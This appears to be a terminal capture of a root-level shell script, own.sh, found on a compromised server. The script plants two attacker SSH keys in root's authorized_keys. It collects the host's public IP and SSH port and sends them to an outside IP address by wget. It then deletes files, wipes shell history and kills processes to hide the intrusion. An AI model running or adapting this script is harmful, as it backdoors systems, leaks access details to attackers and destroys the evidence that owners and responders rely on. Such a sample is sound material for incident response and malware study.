root@server [~]# cat /var/tmp/i/own.sh
#!/bin/bash
rm -rf .tmp
rm -rf .priv8
mkdir /root/.ssh
sleep 1
touch /root/.ssh/authorized_keys
sleep 1
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAyikf4K6FPRUMaM3poqlZZ7I9Fp2HyEIaLcm+dhCfFyqqK9MpUqZQHAkpaq5G2KFuYhuSmFRIoSB38uiUPnhnpPW/HnMgKXoYO6f2r/EmZ983PXL9DlmFay4LhlnmM+fV3AZOqvMgrFOB7nDPfXIYXcmR/C7aanGT9BXyVFgKp+Bn/DbAAnaMXJwiU3o/PT/ZDrLr9PUJC5bKXXHnghpREAvIgw3P96nw6uIBZXN9BZrOXt83HtNB7uWd90nSJB2aeQWFgYrfsCgDdnDKO7u2TK9LXQgDs+asvNR5HNdag+3CRUvf8PzF6uhK1cX/C5EJS9hCLCu69tTgOXausyOrrQ== admin' >> /root/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAon1UON6YGrI0ojo7gte+O6PWr9i8M0x/6fBTgVhjrZtehQjOdF0ft/hWXbRYObyiM0Jlzwo2o66OpMgXDx/BdYgGOPzAgj5o2pyW5qJi7LLIM277A7rey+4I5Wo19BlPbnJU831YdlqlqQGJIj66qEl55SYRxP86E0OPicJiJR8= rsa-key-20130409 ' >> /root/.ssh/authorized_keys

sleep 1
curl icanhazip.com >> .priv8
grep 'Port' '/etc/ssh/sshd_config' |grep -v Gateway |awk '{print $2}' >> .priv8
sleep 1
if grep -q 'AAAAB3NzaC1yc2EAAAABJQAAAQEAyik' /root/.ssh/authorized_keys; then echo 'FOUNDKEY' >> .priv8 ;else echo 'NOKEY' >> .priv8; fi
sleep 1
cat .priv8 | xargs | sed -e 's/ /,/g' >> .owned
sleep 1
for i in `cat .owned`;do wget -O .tmp http://79.99.248.2/roots.php?request="$i" ;done
sleep 2
rm -rf .priv8
rm -rf linux
rm -rf .owned
rm -rf own.sh
rm -rf *
rm -rf ../*.tar
killall -9 nohup

echo >/root/.bash_history
killall -9 sh
history -c